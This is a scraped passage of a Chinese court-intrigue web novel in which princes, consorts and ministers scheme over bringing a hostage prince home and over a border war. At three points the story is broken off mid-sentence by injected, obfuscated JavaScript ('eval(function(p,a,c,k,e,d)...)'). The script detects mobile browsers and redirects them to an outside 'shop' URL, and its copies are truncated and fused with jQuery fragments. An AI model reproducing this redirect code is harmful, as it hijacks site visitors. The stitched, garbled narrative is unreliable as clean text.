刘仲对吴善辅的阻拦并没有感到意外,虽不喜欢吴善辅这势力的模样,但还是笑意相迎,拿出自己准备的食盒,笑着吴善辅说道:“吴内官,本宫专门带了些宫外的时兴小菜儿,给父皇尝个新鲜,还望吴内官进去通传一声,就说我来过了。” 吴善辅垂手敷衍地笑着,回头示意身后的小太监板儿接下,说道:“奴才会向陛下转达的,还请二殿下回去吧。陛下说过,有什么事儿派御书阁的人禀报就是,二殿下就不必亲自过来了。” 这二皇子出身微贱,即便再怎么才华斐然,陛下也从不待见他。要不然也不会现在还未封王。陛下不喜欢二皇子,满皇宫里也就没人会真正尊重他。 “是。”刘仲颔首应允。虽说早知道承道帝不喜欢他,不愿意见他,但他还是得做出这副父慈子孝的模样,日日来承道帝面前刷存在感。 刘仲朝着紧闭的寝殿门口跪下一拜,“儿臣给父皇请安。” 刘仲还是期待着父皇听到后会传唤他,他还是希望被父皇宠爱的,哪怕有父皇宠爱大姐姐和大哥哥的万分之一也好。 让他失望了,没等到皇帝的传唤,反而听到福宁殿内传来的一阵欢声笑语。 刘仲只得无奈起身离开。 板儿看着刘仲的背影,不禁有些感伤,原以为他被皇帝承认了二皇子的身份,会好过一点,没想还是过得这么水深火热。 吴善辅看道二皇子离去,转身就准备回殿内侍奉承道帝,转头看到了板儿手中拎着的食盒,真是有些碍眼。 于是吴善辅下巴冲食盒一指,对板儿道:“赏你了。” “师父,这——”板儿心中不解,这食盒不是二皇子给陛下吗,怎么师父就这么随意处置了,难道也不告诉陛下一声吗? 吴善辅止住脚步,扭头眼神冷冷地看向板儿,面无表情地训斥道:“你是第一天当差吗?我把你调过来的时候是怎么告诫你的?” 吴善辅顿了顿,继续训斥道:“不该说的话别说,不该问的别问。这么快就忘得一干二净吗?” 板儿心思还在二皇子身上,没听出吴善辅话中的意思,兴冲冲地向吴善辅解释道:“奴才不是第一天当差。” 板儿恭维道:“奴才是第一天来陛下身边当差。要不是师父您,我板儿还在——” 吴善辅听闻此话,剜了小太监板儿一眼,心想这孩子怎么听不出来好赖话啊,随即警告道:“我虽喜欢你这机灵劲儿,可也别机灵过了头。” 吴善辅说罢,给了板儿一个白眼让他自行体会,旋即一甩袖子就近了内殿。 板儿站在殿外,听着殿内传来的阵阵欢声笑语,想必殿内是一片父慈子孝的画面,可都是陛下的孩子,怎么陛下就不喜欢二皇子呢? 可前几日陛下不还称赞二皇子才华横溢可堪大用吗,怎么现在又换了副面孔? 难道真如宫人们私下所说的那样,陛下不喜二皇子出身卑微? 刘安和刘元陪承道帝用过晚膳后,二人便嬉嬉闹闹地出了福宁殿。 板儿望着这二位殿下嬉闹玩耍的背影,脑子里又回想起二皇子孤单落寞的背影,不禁一阵心酸,都是陛下的孩子,怎么差别就这么大呢。 板儿无奈地摇头叹气,难怪世人常说“最是无情帝王家”。 待刘安和刘元二人到了东华宫后,刘安屏退了宫人,随即脸上笑容消失,冷着脸道:“说说吧,让我明白下咱们‘贤’王的良苦用心。” 刘元听出了刘安话中带刺,还在为先前的派七弟去打头阵的事儿所恼怒,于是笑着解释道:“这我可要给大姐姐好好说道说道了。” “父皇早早就册立了太子,如今又放权让太子监国,太子登基已是板上钉钉的事儿。” “太子有雄心有抱负,立志能收复十二年前丢掉的漳州五城,希望能组建强兵铁骑击溃大胡十八部,还想着不费一兵一卒不伤一民一士平定诚王。” “可实现这些雄心壮志需要大量的人才,可你看那些依附于太子的世家子弟们,有哪个是可堪大用能委以重任的?” “尤其是他手下的那个蔡桐,你看看他做的那些事儿,贪污均需、卖官鬻爵、党同伐异,随便拿出一件就是抄家灭门的大罪,有这样的人在,太子何时才能完成他的这些壮志?” “太子此时正是用人之际。七弟不善权变,刚正不阿,若此时能被太子重用,无论是为国为民,还是于他自己,都是件好事。” “况且太子重情重义,如今在太子手下做事,也算是雪中送炭,日后新君登基,七弟也算得上是新君的股肱之臣。” “大姐姐不是时常担心七弟不懂得权变,恐他日后会得罪人,将来难以安身吗?” 英王刘元动之以情,晓之以理,将其中的利害关系说与刘安听,又细细说明了自己为七弟的打算。 刘元又将如今的大江与大胡的形势分析给刘安听:“我看以如今这形势,只怕打不起来。四弟还在大胡做质子呢,即便是要打,父皇也绝不会在此时与胡人开战。” 刘安听刘元这么说,不禁疑惑道:“那你今日还——” 英王嘲讽道:“他蔡桐在边关多待一日,这小打小闹的摩擦就断不了。” “这不……”英王双手一摊,无奈一笑,没再继续说下去。 刘安叹了口气,她平日里与承道帝接触的最多,知道承道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274201|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝心里是怎么想的,于是说道:“父皇也和太子是一样的心思,还是想打这一仗的,不想再被大胡给牵制了。” 虽然承道帝心里想打这一仗,但四皇子刘茂还在大胡做质子,若大江与大胡再起战事,只怕刘茂在大胡的日子会不好过,刘茂生母张贵妃知道后肯定会找承道帝闹的,到时将会后宫不宁。 四皇子刘茂和五皇女刘宁是贵妃所生的一对龙凤胎,承道二年他们出生时,虽已是傍晚时分,但突然天空异象,霞光万丈。 司天局观测天象,表明实乃祥瑞之兆,承道帝当即大喜,为此大赦天下,这是太子诞生时都没有的待遇。 承道十年,大江与大胡交恶,晋国公驻守的永州边境失守,大胡军队一路南下直奔京师,点名要祥瑞之子的刘茂去做质子,为了天下百姓,承道帝只得无奈应允。 而后十几年,大江国力强盛,虽有机会将刘茂迎回京,但迫于太子、皇后及其背后的晋国公的压力,迟迟未接刘茂回京,刘茂生母张贵妃及其背后的齐国公也因此找承道帝闹过多次,前朝后宫不宁,这也成了承道帝的一块心病。 刘安知道太子派系和四皇子刘茂派系之间的矛盾所在,无奈道:“元弟,不如找个机会劝劝太子,把四弟接回来吧,这样父皇才能放下心病,好痛快地和大胡打上一场,挫一挫大胡的野心。” 刘元笑着调侃道:“父皇的心病是放下了,皇后和太子只怕又要有心病了。” 随即刘元压低声音正色道:“眼下就是四弟回来的最好时机。刚陪父皇用膳时,我听着老二也来了,估计为的也是这事儿。” 虽说屏退了宫人,但刘元还是很谨慎,待凑近刘安后,用只有两个人能听到的声音道:“父皇虽说放权让太子监国,可到底还是不放心,这不又搞出老二来制衡太子,太子为此也很是头疼。” 四皇子在大胡做质子十二年了,已经没人能制衡太子压制晋国公了。 这几年晋国公颖州蔡氏一族,仗着有皇后太子做靠山,便目中无人、为非作歹。而太子每每碰上晋国公的事便纵容包庇,承道帝对此很是不满。 承道帝最近看中二皇子也是这个原由。但二皇子不受重视多年,根基远不如太子,也掀不起什么风浪,承道帝这才想着让四皇子回来,同二皇子一起制衡太子、磨炼太子。 刘元继续低声道:“我听说前几日太子那里拦截了一封老二的密信,是发给老四的。” “什么?”刘安听后不可置信地看向刘元,他们二人竟然在暗中联系。 听到这儿刘安才恍然大悟,将这一切都串了起来,难怪老二会托自己给容嫔送礼,难怪小五会想着去永州游玩,想来他们都已经商量好了。 那如今边关战事,不知是否也是他们的手笔? 刘元见刘安疑惑的样子,随即道:“依我看,你我这几日少去东宫那边走动,省得触霉头。” 刘安无奈地苦笑道:“如今京中局势复杂,只怕就四弟回京这事儿,少不得又要一番唇枪舌战了。” “只看明日早朝父皇如何决断了。” 5. 回京(五)早朝争辩 翌日早朝,太子率先奏报:“父皇,昨日收到边关急报,大胡军队逼近永州,永州主将蔡桐被围困,儿臣已命七弟率军从永济赶去支援。大胡屡屡冒犯边境,为彰显我大江国威,儿臣请命愿晋国公率十万大军前去支援永州,还请父皇应允。” “陛下,臣怎么听说是因为蔡桐贪功冒进,这才深陷险境的?”齐国公悠悠开口道。 齐国公和晋国公恩怨由来已久。齐国公早就不满他们颖州蔡氏,不满他们仗着太子与皇后,行事嚣张跋扈,而太子又对他们多有包庇,因此齐国公每每听到与晋国公相关的奏报,就会忍不住地插上一句,杠上一杠。 齐国公不待太子开口,便劝阻承道帝,道:“陛下,战争劳民伤财,十二年前因晋国公战败,我们损失惨重,近年来百姓休养生息,如今国力才勉强恢复,实在是不宜再战啊陛下!” 太子微微侧身,回头不满地瞥了一眼齐国公,旋即慷慨激昂继续说道:“正是因为如今国力恢复,才更应该打上这一仗,眼下正是我们立威的时候。让周边诸国好好看着,我们已不是十二年前的大江了!” 齐国公情绪激动道:“十二年前,老晋国公也是这样的说辞,那一仗本可大挫胡人,扬大江之国威,可晋国公却无故战败,十万大军死伤惨重,胡人更是一路南下、直指京师,四皇子还被迫成了质子,实乃大江之辱,难道太子殿下非要十二年前的景象重新上演一番才肯罢休吗?” 齐国公在朝为官几十载,怎么会不知当年老晋国公心中所想,还不是因为四皇子聪明而太子愚钝,陛下又常说四皇子最像他,皇后和晋国公担心陛下会易储改立,这才整了战败这么一出,为的不就是断了陛下立四皇子为储的心思吗? 齐国公说罢冷哼一声,当年皇后和贵妃同时有孕,若不是皇后使了些手段,先于贵妃一步提前诞下皇子,眼前的太子还指不定是谁当呢。 太子被齐国公气得说不出话来,只指着齐国公怒喝一声:“你!” 二皇子刘仲站了出来力挺齐国公,道:“父皇,齐国公虽言辞有些激烈,但所言句句属实。” 刘仲知道承道帝一直想让四皇子回来,但找不到合适的时机,故而此时站出来,既可拉拢齐国公,又能给承道帝递台阶,何乐而不为呢? 朝上众人齐刷刷地看向二皇子,他们谁也没想到二皇子会在此时出来支持齐国公,就连齐国公他自己也没想到。 刘仲感受到了众人的目光,继续道:“若此时进攻大胡,四弟在大胡做质子,岂会好过?父皇向来慈爱,又怎愿见到儿孙受苦?” 刘仲这句话一下子将太子派系的众人都架了起来,若他们此时再站出来反对,岂不是对陛下不满? 更何况四皇子刘茂在大胡做质子已有十二年。十二年前四皇子在国家危难之际做了质子,此后承道帝常觉对贵妃多有亏欠,因此承道帝近些年来多偏宠贵妃,更是多次想让四皇子回来。只是苦于没有合适的理由,因此每每提及便多被太子太傅所阻拦。 再者,承道帝苦心经营二十余年,为的就是收回权利巩固皇权,方便自己后续启用贤能之人,推动改革,以便能强盛大江。 可如今太子监国,太子背后是颖州蔡氏,朝中众人便纷纷都倒向了太子,他这个皇帝也是徒有其名罢了,许多事都做不了主。可他毕竟还是皇帝,太子也未曾登基,这要置他这个皇帝于何地? 是时候该扶持一个能与太子相制衡的皇子了,免得这群世家大族的人都忘了谁才是大江朝的君。 如今这么好的机会放在面前,承道帝又怎会放过,承道帝忙抓住机会道:“二皇子和齐国公所言极是,边陲安定不过才数十载,实在是不宜再起战事。” 太子筹备这一战许久,大胡屡屡进犯,好不容易有了借口能与大胡大战,收复失地,太子自然不肯放弃,着急道:“父皇——” 承道帝出手制止了太子,随即就下了决定:“七皇子率兵救出蔡桐,解了永州、永济城的危机即可,不可伤了大江与大胡的和气。” 刘仲见太子还欲开口劝说,高呼道:“父皇英明!” 齐国公及其党羽见状也齐齐高呼:“陛下英明!” 太子无奈,只得作罢,想着待会下朝后与永安公主和英王一同面见父皇,再劝说父皇发兵永州。 刘仲见太子吃瘪,心中暗自得意,太子殿下,还有更大的惊喜在等着您呢。 下朝后,齐国公环顾四周,见无人注意他,于是趁着人流攒动,快速靠近刘仲,开门见山地问道:“二殿下从不过问政务,怎么今日会帮着老臣?” 刘仲风轻云淡笑道:“本宫身为父皇的孩子,自然想的是为君分忧、为父尽孝,本宫做这些也不过是为了让父皇开心。”刘仲说罢,便告别了齐国公。 齐国公看着二皇子的背影,摸着胡须思忖着,一个从小不被承道帝认可的皇子,不知会使些什么手段来争取宠爱,幸而当时让他的妹妹——启盛帝的张淑妃救下了二皇子,现在有了他的掺和,局势开始变得有趣起来了。 刘安听说了早朝的事,便来东华宫找刘元,待屏退宫人后,便开口问道:“听说今日早朝,太子被父皇驳了出兵的请求?” 刘元病歪歪地靠在榻上,抬头看了一眼刘安后继续翻看着手上的书,不急不缓道:“我今日都没出门,怎么会知道早朝上发生了什么事?” 刘元放下手中的书,看向刘安道:“昨日不是告诉过你,少掺和吗?” 刘安听刘元这般说,无奈叹了口气,只怕四弟回京后又免不了一场腥风血雨,她身为父皇长女,众皇子的大姐姐,自然是不愿意看到弟弟们为了皇位争得头破血流,伤了一家人的和气,可眼下又别无他法。 正说着,太子来到了东华宫。 太子见刘元病歪歪的样子,忙关心问道:“英王兄昨日还好好的,今日这是怎么了?” 刘元听太子这么问,忙掩嘴咳嗽几声。 刘安见状,回道:“我听东华宫的宫人说,元弟昨日回来贪吃了几口凉食,再加上又担忧边关,寝食难安,这才病倒了。” 刘安道:“不知太子前来,所为何事?” “大姐姐——”刘元高声喝住,打断刘安的话,制止她再继续问下去,朝政上的事儿自然是能少参与便少参与,但自己又忍不住地剧烈咳嗽起来。 此时,司药局奉皇后之命为英王送来的汤药,司药局的小太监跪下道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274202|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英王殿下,皇后娘娘担心殿下的病情,特命奴才送来了汤药。” 虽然隔得老远,但刘元还是闻到了汤药散发的苦味,嫌恶地捂住鼻子撇过头去,心想这皇后送药送得可真是时候。 太子见状道:“英王兄,良药苦口,还请饮下吧。” 刘安也是担心刘元的病情,亲自给刘元端了过去。 刘元看着熬得发黑的汤药,又看道刘安和太子关切的目光,只得无奈地捏着鼻子喝了下去。 太子看到刘元现在这个样子,不忍让他再继续劳累,因而咽下了到嘴的话,无奈说道:“近来朝事繁多,我就先回去了。英王兄要多保重身体啊。” 刘元意欲起身向太子作揖,道:“多谢太子殿下关心。” 太子忙止住他,关心道:“你我兄弟,无需多礼。” 太子神色落寞地出了东华宫。 刘安和刘元望着太子离去的背影,相视一眼,均无奈地摇头叹了口气。 刘安她是女子,不宜参与太多朝政。 刘元是长子,又是承道帝发妻祁氏之子,可祁氏并未被追封为皇后,因此刘元身份多少有些尴尬,况且如今是承道帝与太子之间,实在是不宜参与进去。 太子出了东华宫刚走了一段路,便碰到了五皇女刘宁和六皇子刘赞,于是叫住了他们,上前寒暄道:“五妹,六弟,这是要去哪儿啊?” 刘宁和刘赞见到太子,异口同声道:“太子哥哥!” 刘赞率先问道:“太子哥哥,我随五姐先去见过父皇,你也同去吗?” 太子听后略显尴尬地淡淡一笑,早朝上父皇没有采纳自己的建议,英王兄又病者,若是跟着他们二人一同去见父皇,少不得又要挨父皇一顿训斥。 想至此处,太子就要告别二人,便随意扯了个借口道:“近来国事繁忙,早朝我已见过父皇,这会儿就先回去处理政务了。” 刘赞见太子走远后,转身附在刘宁耳边悄悄八卦道:“我听说父皇早朝刚驳了太子,所以太子神情才这般落寞,只怕太子这几日会不好过。” 刘宁歪着脑袋惊讶疑惑问道:“你怎么知道的?”他们二人如今才刚到宫中,六弟又是怎么知道今日早朝刚发生的事儿呢?刘宁很是不解。 刘赞并不作答,一甩手中的折扇,得意扬着头地看了刘宁一眼。 “嘁,故弄玄虚,爱说不说,我还不想知道呢。”刘宁不屑地翻了个白眼,随即一甩袖子便大步流星往前走去。 刘赞见状忙跟上,少不得卖弄一番,洋洋得意道:“你且看今日街上百姓,皆是一片怡然自得的景象,便知永州边陲不会再起大的战事,自然便知太子哥哥发兵大胡的愿望落了个空。” 刘宁听到太子竟要发兵大胡,想到她的同胞兄长刘茂还在大胡做质子,若此时发兵大胡,只怕哥哥的处境会愈发艰难,不由得着急问道:“什么?太子竟要发兵大胡?” “嘘嘘嘘!”刘赞听到刘宁这么大声地说不来,不由得噤声道:“我不知道,我也是听街上的人混说的。” 刘赞说罢便朝着承道帝所居的福宁殿一路小跑。 “你说清楚,到底怎么回事啊!”刘宁见状忙快跑跟了上去。 6. 回京(六)各怀心思 刘宁和刘赞二人打打闹闹地来到福宁殿,拜见了承道帝。 承道帝看到二人,放下手中的奏折,看着二人笑道:“你们两个淘气的,舍得回来啦!” 承道帝喝了口茶,道:“小五,见过你母妃没有?” 刘宁撒娇道:“今日刚到京师,便马不停蹄地来拜见父皇了,还未曾见过母妃,不过已经派人去给母妃送去了消息。” 承道帝笑着点头道:“好孩子,先去见见你母妃,她这几日很是想念你。” 刘赞离京前,承道帝交代了刘赞些事情,现在六皇子回来,承道帝很想知道六皇子查的怎么样了,因此支开了刘宁。 刘宁高兴地笑着应道:“是,那儿臣先告退了。” 承道帝见刘宁退出内殿,突然叫住了她,道:“小五,去告诉外面的奴才,朕有事同六皇子说,他们不用进来伺候了。” 刘宁应道:“是。” 刘宁高兴地跑了出去,忽又想到了答应了江八郎要送他几百担的粮草,于是又折返回来,扒在门框上小声地提醒六皇子:“小六,你答应我的事,别忘了告诉父皇。” 刘宁看到刘赞悄悄冲她摆了个手势,便放下心来,一溜烟就没影了。 承道帝注意到二人的小动作,于是好奇地问刘赞:“小五说的是什么事?你们二人还有事儿瞒着朕吗?” 刘赞轻笑道:“倒也不是什么大事,是五姐见七弟在边境条件艰苦,一想到将领们都过得如此辛苦,下面的士兵们只怕条件会更差,于是动了怜悯之心,便想着要送边关将士们几百担粮草,能让边关将士们的条件改善些。” 刘赞见殿内没有了旁人,便走到承道帝面前,从袖中掏出一份账簿呈给承道帝,悄声说道:“父皇派儿臣查的晋国公与大胡来往的账目,悉数尽在这份账簿中,请父皇阅览。” 承道帝接过账簿翻看着。 刘赞继续说道:“晋国公如今调任到了京师中,已不大管永州之事,并未查到太多晋国公与大胡来往的账目。现永州的一切事务都交由晋国公世子蔡桐打理,不过世子……” 刘赞顿了顿,抬眼瞥了眼承道帝的神色,见承道帝面上没有什么表情,便继续说道:“晋国公世子倒是与大胡有些往来。” 承道帝粗略地翻过大半本账簿,听道刘赞这么说,随即将手中的账簿掷在桌子上,冷笑道:“这么厚一本的账簿,这叫有些往来?” 刘赞听道承道帝言语中带了些怒气,忙垂下头,不敢直视承道帝。 刘赞去了永州一趟,发现了一个现象:他们大江很多司空见惯的货物比如丝绸、茶叶、瓷器等物在周边诸国很是抢手,常常因量少而价格被炒得很高;同理,周边这些国家也有很多商品譬如各色各样的宝石,也在大江的这些达官显贵、世家大族中很受欢迎,也因物少而价高。 若开放边境,与周边国家互市,交换物资后再进行炒价倒卖,倒是能狠狠地赚上一笔。 原本刘赞想先用蔡桐与大胡交易这件事先试探下父皇的态度,不过现在看来,只怕父皇很难同意了。 不过这其中利润巨大,刘赞是个爱财如命的性格,还是大着胆子试一试,如若成了,那就是数不完的雪花银,若是不成,大不了就是挨一顿训斥。 想到这,刘赞心一横,壮着胆子,战战兢兢地开口道:“父皇莫气,虽说蔡桐暗中与大胡有些往来,不过儿臣倒是从中发现了些商机,我们不如与周边国家互通互市,彼此交换些对方没有的物资,然后再高价卖到国内,大赚一笔。” “儿臣以为,宜疏不宜堵,与其防着,这些钱终会被那些贪官污吏拿了去,倒不如让朝廷拿了,一来一部分可以用来改善边防的艰苦条件,二来也可用于弥补财政的亏空。” 刘赞说着说着,底气越来越不足,脑袋越来越低,声音越来越小,不敢看承道帝的神情。 承道帝甩着手上的珠串,思索着刘赞的话,如今自己登基二十余载,心思都放在了铲除世家大族、集中皇权上了,确实没顾得上互市这些事。 可开放互市这件事儿,先前启盛帝也想过,试行了个把月,也没见有什么收益,最后随着启盛帝落水溺亡,这件事也就不了了之了。 如今国库空虚,单靠赋税已很难弥补亏空,确实应该谋求新的出路,待他收拾完这些个盘根错节的世家,再做打算吧。 承道帝收起了手中的珠串,问道:“互通互市这件事儿以后再商议吧,还有别的事吗?” 刘赞松了口气,听父皇这意思以后还是有希望的。 刘赞道:“儿臣这里倒也没别的事儿了,不知父皇还有没有其他事安排儿臣去做?若父皇没有其他要安排的,儿臣就先告退了。” 刘赞说罢,便低着头慢慢朝着殿门退去。 “站住。”承道帝换了个更舒服的姿势,似笑非笑地看着六皇子,压迫感十足地问道:“你出去一趟收获了这些吗?没有其他要交代的吗?” 刘赞心想,他沿途私收了些官员的孝敬打点,不过父皇远在京师,又怎会知道呢?只怕现在这么说是诈自己的,只要自己守口如瓶,不多透露半个字,父皇查不到,也不会拿自己怎么样的。 想罢,刘赞装出一副茫然的样子,迷茫道:“确实没有了。” 承道帝啪得一声,把手串重重地摔在桌子上,手串珠子崩得四分五裂,有几颗崩到了刘赞脚下。 刘赞听到声响,吓得啪得一声跪在地上,忙从袖中掏出另一份奏折,跪着向前几步至承道帝面前,将奏折呈上,语气哆嗦道:“还有一路沿途官员的一些孝敬打点,共计二十万两白银。” 承道帝没有接过奏折,乜视着刘赞,冷哼一声。他这个儿子去永州前特意绕去了颖州、漳州两地,颖州、漳州两地较为富庶,以小六雁过拔毛的性格,区区二十万两怎么入得了他的眼? 不过承道帝见刘赞不肯多拿,想到了先前小五说的要给永州将士们多送些粮草,不如就让小六用这些钱去办,取之于民用之于民,很是妥当。 于是承道帝收下六皇子的奏折,笑着安排道:“刚刚小五说的,你去办吧。” 刘赞目瞪口呆地抬头看向承道帝,不可思议道:“啊?” 承道帝见刘赞吃惊的样子,随即又补了一句,道:“你不许哭穷,朕知道你有。先退下吧” “是,那儿臣先告退了。”刘赞哭丧着脸,只得无奈接下了,他原本还想着借着这个再敲父皇一笔呢!没想到竟要从他的私库里面掏,为父皇办事,还得倒贴钱,他现在真是欲哭无泪。 刘赞拜别承道帝,退出了福宁殿。 “母妃母妃!”刘宁迫不及待地飞奔到贵妃宫中,坐到贵妃身边,抱住贵妃娇嗔道:“我出去这么久,也不知道母妃有没有想我啊!” “你是不知道,你不在这几天,我睡得特别香,一听到你回来啊——”贵妃捂着头佯装头疼,摇头笑道:“哎呦呦,我的头又开始痛了。” 贵妃说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即贵妃看向远处,眼神中充满了恨意,道:“晋国公驻守边防数十载,永州边境与大胡一直相安无事,可为何就在你们兄妹二人刚过完八岁生辰那年,晋国公就那一仗吃了败绩呢?” 当年贵妃与皇后同时入宫为妃,又同时有孕,承道帝允诺谁先诞下皇子便立谁为后。不料皇后在去贵妃的宫殿途中,因路面湿滑步撵不稳,不慎从步撵上摔落,继而早产,也算是因祸得福,皇后先诞下了皇子刘牧,因此被册立为后,生的皇子也就成了太子。 贵妃虽心中不忿,但木已成舟,已别无他法,只得认命。 不过四皇子刘茂天资聪颖,三岁启蒙,五岁背诗习字,八岁便能与朝中名士对答如流,谁人不称赞一声四皇子聪慧,颇有当年承道帝影子。 可反观当朝太子,与四皇子同岁,却比四皇子晚一年开蒙,对诗书的理解也远不如四皇子,明眼人都看得出来,承道帝喜欢四皇子要多过太子。 那晋国公是皇后的胞兄,担心承道帝有易储的心思,又怎么会允许四皇子的风头压过太子? 刘宁想着母妃先前说的那些与皇后之间的恩恩怨怨,不可置信地低声道:“是……是晋国公和皇后……是他们谋划的……” 贵妃冷哼一声,道:“除了他们,还会有谁?” “娘娘——娘娘——”贵妃的近侍一路小跑喊道,打断了刘宁与贵妃的交谈。 7. 回京(七)捷报至京 “娘娘!娘娘!”贵妃的近侍从殿外一路小跑过来,由于太过着急,一个没注意,还在跨过门槛的时候摔了一跤,但她也顾不上疼痛,忙爬起来,开心道:“娘娘大喜啊!” 贵妃扶了扶发髻,面上带笑,好奇问道:“哦?有何喜事?” 近侍迈着小碎步行至贵妃和五皇女刘宁面前,向贵妃和刘宁行礼后,道:“方才奴婢同尚宫大人遇到了陛下身边的吴内官,吴内官说四殿下不日便要回来了。” 刘宁听到四皇子刘茂要回来的消息,惊喜道:“哥哥要回来了?” 刘宁旋即兴奋转身握紧贵妃的手,神色激动道:“母妃,哥哥要回来了!” 贵妃听后喜极而泣,不自觉地攥紧刘宁的手,右手颤抖地轻拭掉眼角的泪珠,喃喃道:“我的茂儿终于要回来了。” 贵妃激动地站起来,指挥着宫人们道:“快把漳州巡抚刚进献的那方澄泥砚拿出来,茂儿最喜欢看书习字,看到这方砚台只怕会喜欢的不行。” “还有前段时间覃州巡抚进献的珍宝,还要前些年陛下赏赐的一些稀奇玩意儿,都一并找出来给备好。” “大胡那地……我的茂儿真是受苦了。” 说着说着,贵妃一想到刘茂远离父母,在大胡做了十二年的质子,心中就一阵酸楚,眼泪又忍不住地从眼眶里淌了出来。 贵妃身边的李尚宫刚进殿内,就看到殿中一片忙碌的景象,忙命众宫人退下,快步走到贵妃和刘宁身边,提醒着贵妃,道:“娘娘,这些先不着急准备,四殿下回来还要些时日呢。” 贵妃看到李尚宫,向她问及吴善辅是具体是怎么说的。 李尚宫朝贵妃和刘宁行礼后,娓娓道来:“奴婢先向娘娘、五殿下道喜。方才吴内官说,刚从边境传来的捷报,驻扎在永济的七殿下,率三千精骑深入敌军,直捣黄龙,把大胡打得是落花流水、连连求饶,这不,要与我们大江和谈。” 李尚宫靠近贵妃,轻声道:“陛下想着娘娘因思念四殿下,忧思成疾,特派了英王殿下前去与大胡谈判,为的就是让四殿下回来。” “娘娘,近几日要小心谨慎些,把这消息牢牢捂住,不要被人从中作梗。” 贵妃刚才被捷报的喜悦冲昏了头脑,听李尚宫这么说后,才回过神来,忙道:“李尚宫,快,把刚刚那些人全叫回来,让她们都守口如瓶,不要透露一星半点,如有违者,就别怪本宫手下无情了。” 李尚宫含笑道:“娘娘放心,方才奴婢回来时,已经让宫人们都退下了。” 随即贵妃又叮嘱刘宁道:“小五,你也要记着,在同兄弟姐妹们玩耍是不要说漏了嘴。” 刘宁应声道:“母妃放心。” 贵妃沉思片刻,道:“单靠英王谈判,只怕事情还有点难办。” 皇后向来视他们母子三人为眼中钉肉中刺,只怕皇后会从中作梗。 不行,谁也不挡不了我茂儿回京! 为了能让分别十二年的儿子回来,哪怕从前最不喜欢算计,现在也不得不做。 贵妃打定主意,眼神坚定,不自觉地攥紧了手中的衣袖,吩咐道:“李尚宫,你去把前段时间覃州巡抚进献的药材和珍宝,取一些送与容嫔,她也是出身覃州的,见了自然欢喜。” 贵妃若有所思道:“就说……就说本宫得知七皇子大捷,特来道贺。”。 李尚宫应道:“是。” 这时,贵妃殿外的小宫女来报:“娘娘,温国公夫人携女觐见。” 贵妃微微整理衣服和妆容,扶了扶发髻,对李尚宫道:“交代你的事情你去办吧。” 贵妃整理好钗容妆发,方才道:“让她们进来吧。” 温国公夫人带着女儿温嘉诚进入殿内,向贵妃和五公主行礼问安:“贵妃娘娘安,五殿下安。” 温国公夫人和贵妃是亲姐妹,俩人都是齐国公府的女儿。 贵妃忙下座扶起温国公夫人,满脸笑意,道:“姐姐,快快起来吧。” 温国公夫人顺势挽起贵妃的手,见贵妃没了往日病恹恹的样子,笑道:“看娘娘面色红润,想来是好事发生了。” 贵妃拍着温国公夫人的手,笑着点头道:“好事将近。” 温国公夫人听后会心一笑,道:“那先向娘娘道喜了。” 刘宁注视着温嘉诚,暗中向温嘉诚使眼色,示意她们两个一起出去,她有很多悄悄话要和温嘉诚说呢。 温嘉诚看到后轻轻摇头回应,她虽与五公主交好,但也不敢在母亲和贵妃面前造次,况且母亲才说了要让她端庄持重,。 刘宁见状,暗中扯了扯贵妃的衣袖,示意她想出去。 贵妃最疼爱这个女儿,怎会不知道她心中所想,于是笑着对温国公夫人说道:“小五出去这么十几天,想必是有很多话要和嘉诚聊吧,咱们也别拘着礼了,咱们两个说些体己话,让她们两个也去寻个地方说体己话去吧。” 温国公夫人听后微笑着点头同意,她正好也有话要同贵妃说,孩子在这里多少还是有些不方便,随后叮嘱了温嘉诚几句:“嘉诚,你身为姐姐,要照顾好五殿下。” 温嘉诚应声道:“是。” 刘宁和温嘉诚得到了贵妃和温国公夫人的允许,高兴地谢礼后,便拜别了贵妃和温国公夫人,手牵着手便开心地跑出大殿去玩耍了。 李尚宫带着药材及珍宝来到容嫔宫内,向容嫔说明来意:“容嫔娘娘,前几日覃州巡抚进献来的覃州特产,我们贵妃娘娘想着娘娘也是覃州人,特吩咐奴才将这些送与娘娘,以解娘娘思乡之苦。” 容嫔靠在榻上,有力无气地笑道:“贵妃姐姐还记挂着本宫,本宫心中感激不尽。” 说罢,容嫔吩咐她身边的近侍云尚宫:“云尚宫,前几日七殿下不是派人寄回一些宝石手串吗,快去找出来。” 容嫔吩咐完云尚宫后,又笑着对李尚宫道:“李尚宫,这些手串是前些日子七皇子收缴来的,手串上的各色宝石,都是大胡那边的特有的。” “知道五殿下最喜欢收集这些小玩意了,特意给五殿下留的,还要贵妃姐姐和五殿下不要嫌弃才好。” 李尚宫客气笑道:“容嫔娘娘这是哪里的话,这些新奇玩意儿五殿下是最喜欢了,前段时间还没出宫的时候,殿下还找贵妃娘娘要呢,把贵妃娘娘闹得直头疼。” 